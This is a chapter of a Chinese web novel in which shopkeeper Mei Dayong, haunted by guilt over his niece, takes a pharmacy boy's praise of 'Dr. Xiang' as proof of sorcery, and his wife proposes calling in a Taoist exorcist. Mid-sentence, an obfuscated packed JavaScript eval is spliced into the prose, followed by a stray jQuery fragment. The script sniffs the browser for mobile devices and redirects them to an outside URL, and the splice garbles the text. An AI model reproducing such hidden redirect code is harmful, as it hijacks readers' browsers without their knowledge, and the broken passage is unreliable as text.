原耕耘说梅大用不干人事,委实冤枉了他。毕竟杂货铺梅掌柜,在十字街的名声还是很好的。
在外人眼里,他是个好丈夫——对邱氏忠贞不二,是个好父亲——对梅丛殊百依百顺,是个好商人——精明市侩会钻营,但不惹人厌烦,也或许是他太有眼色,从来不得罪自己得罪不起的人。
总之不少人都感叹,梅大用也就是少了几分运道,若是运道上来,凭他的本事,不可能困在这么一个小小的杂货铺里。
梅大用也这样想。
年轻时他的运道在妹妹身上。
那时的香河府还不像如今这样繁华热闹,向朴聘取妹妹的二十两银子,足以使他扩宽门面,大展身手。
甚至于向朴那样有钱,以他对妹妹的用心,便是再多要一点也不是不行。
可后母坚决不同意,她怕妹妹被向家轻视,决计不肯跟向家提起此事,反而在他提起的时候,拿话岔了过去,将二十两银子都给妹妹带走,甚至连一向照顾他的韩家娘舅都没有站在他这边。
那一刻起,以往所有的关心、爱护都成了虚伪,什么视如己出,什么无微不至,都是假的,他再不会认这个娘,也不会再认那个舅家。
后来他的运道在梅丛殊身上。
儿子聪颖精怪,他盼着儿子上进、心甘情愿供养他读书识字,哪怕儿子只中个秀才,也足以使他们家改头换面,振兴门庭。
可惜儿子不争气,在学堂里不想着用心读书,偏好跟那些不成形的二流子混,最后书念不下去,看在他还肯听老婆子几句话的份上,他只能狠狠心把儿子送回老家,指望他能收收心、改改性。
可事实证明,谁管也没用,儿子主意大着呢,只可惜用不到正地方。
就当他以为他这辈子只能靠自己,窝在这一亩三分地的时候,转机又来了。
这次,他的运道在外甥女儿身上。
只要把外甥女儿嫁到原家去,不仅外甥女能一辈子不愁吃穿,他也有了金银和靠山。
至于什么老少美丑的,有那么重要吗?
外甥女儿年纪轻轻,根本不明白银子有多重要。
比之钱财权势,年纪算什么?容貌算什么?若是他有女儿,他早就让自己闺女嫁了,哪里轮得到外甥女儿?
人这一生,最重要的是要有使不完的金银和让人望而生畏的权力,如果没有,那也要有个能打拼的好身体。
可现在,他什么都没了。
运道败了,金银没指望了,身体……
梅大用很想挺起脊梁,像过去那样温文儒雅,彬彬有礼地走在十字街上。
不管他有钱没钱,看见的人都会叹服他的好气质,从而猜测他有多少家底。
或许他们还会悄悄议论,“这个梅掌柜,别看他不显山不露水,可是大大有本事的人嘞,也没个靠头儿,白手起家就把一家小铺子经营得风生水起……”
可现在,他一点也挺不起来,不只挺不起来,勉力坚持的身姿也快站不住了,他肩膀耷拉下去,脑袋也耷拉下去,很快,连眼皮也耷拉下去了。
这世上有钱人这么多,多他一个又怎么了?可老天爷,为什么偏偏不给他这样的机会?
不,他给了,可是又收回去了,他这一辈子,都能望到头了。
他好似看见风烛残年的自己,站在一方柜台后,佝偻着背,给客人算账,还要被人嫌弃手脚慢。
他好似听见众人在他背后嘲笑,“那个梅掌柜,都说他如何精明,我看也不见得,一辈子了,还不是这样窝在这儿,若是真有本事,早不就跳脱出去了……”
“梅掌柜,只听说你天天拜财神,咋还不见你发财啊!”
“梅掌柜,你倒挺会装,这一辈子都能看到头了,还不认输呢?”
“梅掌柜,认命吧,咱生来就是钻营的命,钻营到了头,能享两天福那是老天爷眷顾,享不了那个福也是没那个命。”
“梅掌柜,梅掌柜……”
“梅掌柜,你只说别人亏待你,可谁又该欠了你的?”
“梅掌柜,不做亏心事,不怕鬼叫门,你这样怕,别是亏心事儿干多了,叫鬼绊了腿了吧!”
“梅掌柜,梅掌柜……”
“梅掌柜,梅掌柜!”
清脆的孩童唤声,让梅大用回了神,他晃晃脑袋,定睛看去,见是斜对街陈氏酒馆老板陈朝奉家的小子,生得玉雪可爱,跟丛殊小时候一个模样,十分招人喜欢。
他勉强挤出一个笑,摸摸他的头问道:“阿毛,怎么了?可是你爹有事找我?”
阿毛摇头,“梅掌柜,我爹没事,是这个小哥找你!”
梅大用顺着他所指看去,见那人似有几分面熟,却不记得哪里见过,何时见过。
来人正是百草堂的小邓,晌午才吃了一顿好饭菜,听原郎君和向娘子交代,他思来想去,决定还是亲自跑这一趟。
且不说原郎君和向娘子留了二十枚大钱做跑腿费,便是没钱,以他们二人的为人、和白大夫的关系,也值当他费心跑这一趟,更别说,今儿还得了人家那么好吃的果子和好饭好菜。
这份用心,他以前可从来没见过。
除了跟他搭班的两人,另两个班组都后悔不迭,这阵子可没少在背后偷偷瞪他,时不时还要在掌柜的跟前挤兑他。
他才不在乎,那都是羡慕嫉妒!为什么羡慕嫉妒?还不是看他得的好处多,他们落的少?更别说向娘子两口子送来的草药好,他跟他们打好关系,掌柜的也更看重他了。
以往两人来时,干活他们不往前凑,这会儿知道急了,急着去吧。
心里转过这么多念头,小邓面上还是笑呵呵的,“梅掌柜,我是百草堂的伙计,这是您落下的药,原郎君和向大夫特意让我给您送来。”
“向、向大夫?”梅大用心中惊疑不定,难道向大夫就是说他外甥女儿?
才半年工夫,外甥女儿这就成大夫了?还是医馆伙计亲自承认的大夫?要说这不是妖鬼邪术,打死他他也不信。
“对啊,向大夫人特别好,活泼开朗还大方,待人也亲热,我们都喊她小向大夫。我们白大夫都说小向大夫天资好,自学成才,一点就通,她摸着医书才多长时间啊,现在讲起医书药学来,那可是头头是道,听说给他们村上好几个人看过病呢,真叫人佩服!”
梅大用的不安,小邓丝毫不觉,说着话,直把药包往他手里递。
梅大用心越发往下沉,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444917|176663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
越发不敢接药,他连连摆手:“不用不用,多谢小哥,你们百草堂妙手仁心,我刚出了那门,便觉精神一振,沉疴尽除,现在已用不上这药了,烦劳小哥为我处理了罢。”
小邓一愣,这才发觉得这人有几分怪异,刚买的药说不要就不要了?病好那话,骗鬼呢!
“梅掌柜客气,这是小店该做的,药您还是留着,毕竟花了钱的。”小邓说着,把药包塞到梅大用怀里,不等他拒绝,一溜儿烟跑了。
梅大用揣着药包,拿也不是,丢也不是,一时间愣怔在那儿,六神无主。
.
当家的还没回来,邱氏站在门口张望起来。
近几个月当家的神神叨叨的,精神不好,这她都知道,心里对惹出事儿来、死也不让人安生的外甥女儿更没好气。
可当家的信这个,任凭她怎么说怎么劝,他就是过不去这个坎,带得店里生意都冷清不少。邱氏也没法了,甚至想着若是看了大夫还不管用,就跟梅大用去庙里烧烧香拜拜佛,赶紧把这事儿了了才是。
邱氏抹了把头上的汗,再张望时,就见自家男人从街角处转过来,又是一头虚汗,脸色发白。
她疾走两步迎上去,接过药包提起来仔细瞧了瞧,道:“开了药了?大夫怎么说的啊?”
梅大用被妻子唤得回过神来,见她这般,忙夺过药包丢到一边,急道:“快别碰!别碰!这药碰不得!”
见邱氏愣住,他提起袖子拭了拭额头上的汗,犹豫着把今天遇上向园夫妻的事情说了,又道:“我看她道法不低,不像个好的,不然平白无故,怎么就挂那老松树上去了,还偏偏叫那原二遇上了?老家那院里,又是那样一副情形?
“丛殊不是也说过,他亲眼所见,眼看着人都不好了,却突然又好起来了,我看八成就是叫不干净的东西上身了。
“以后咱们可别再招惹她了,碰见了也躲得远远的。外甥女儿脾气软和,不会对咱们怎么着,这个瞧着可是个硬骨头,今儿个还龇牙咧嘴吓唬人呢,也不知是什么精怪,要是得罪了她,她使妖法害咱们怎么办?咱们可敌不过啊!”
邱氏年轻时就不信这些神神鬼鬼的东西,后来跟了梅大用,才开始随他拜拜财神爷为主的各路鬼神,这会儿听了这番话,不仅不惧不怕,反倒生出些疑惑,这青天白日的,大太阳底下,真有道行那么高的鬼怪敢现形?
她怎么想怎么觉得怪异,不由在心里思忖起来,这人有人的对头,鬼肯定也有鬼的克星,任凭她是妖是鬼,还能逃得过道士的雄鸡头,黑狗血?便是不怕这个,还有斩妖除魔的照妖镜、桃木剑呢?
想清楚了,她忙扯住梅大用的袖子,嘀咕道:“哎,当家的,你不是认识那个宝泉观的仁清道长?咱家的财神爷就是从他那儿请的,我看挺灵验,你不如抽空去一趟,跟他讨个主意。
“他们常年管捉妖弄鬼的,肯定比咱们门道清。那丫头要是鬼,自然逃不过去,她要不是鬼,敢在咱们跟前弄鬼,我也得降服了她!”
梅大用心肝一颤,也觉得这是个好法子。
那要真是妖魔鬼怪,他请人驱邪,就当是为外甥女儿报仇了,也算是给后母和妹妹一个交代吧,万望经此一遭,他们别再缠他索命了。